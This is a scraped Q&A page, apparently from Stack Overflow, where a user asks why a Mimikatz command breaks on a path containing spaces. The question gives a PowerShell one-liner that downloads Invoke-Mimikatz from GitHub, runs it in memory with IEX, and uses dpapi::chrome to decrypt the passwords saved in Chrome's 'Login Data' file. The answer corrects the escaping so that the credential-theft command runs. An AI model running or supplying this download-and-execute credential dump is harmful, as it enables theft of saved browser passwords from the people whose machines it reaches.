CODEWITHSUNDEEP
powershellsecurityescapingkali-linuxkiwi
user3391185
user3391185

Reputation: 43

Mimikatz - problem with handling spaces in the file path Dpapi::chrome

Why in mimikatz/kiwi cannot process first space when opening chrome database "Login Data" ?

Example:

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappdata%\Google\Chrome\User Data\Default\Login Data\""

Error:

Invoke-Mimikatz : A positional parameter cannot be found that accepts argument 'Data\Default\Login'.
At line:1 char:146
+ ... katz.ps1'); Invoke-Mimikatz -Command "dpapi::chrome /in:\"%localappda ...
+                 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidArgument: (:) [Invoke-Mimikatz], ParameterBindingException
    + FullyQualifiedErrorId : PositionalParameterNotFound,Invoke-Mimikatz
    enter code here

I will be very happy if someone helps, I have already tried all.

Upvotes: 0

Views: 477

Answers (1)

Mathias R. Jessen
Mathias R. Jessen

Reputation: 174435

You need to escape the " inside the string argument by doubling them ("") or prefixing them with a single ` (PowerShell doesn't care about \):

"dpapi::chrome /in:""%localappdata%\Google\Chrome\User Data\Default\Login Data"""
# or
"dpapi::chrome /in:`"%localappdata%\Google\Chrome\User Data\Default\Login Data`""

Upvotes: 1

Related Questions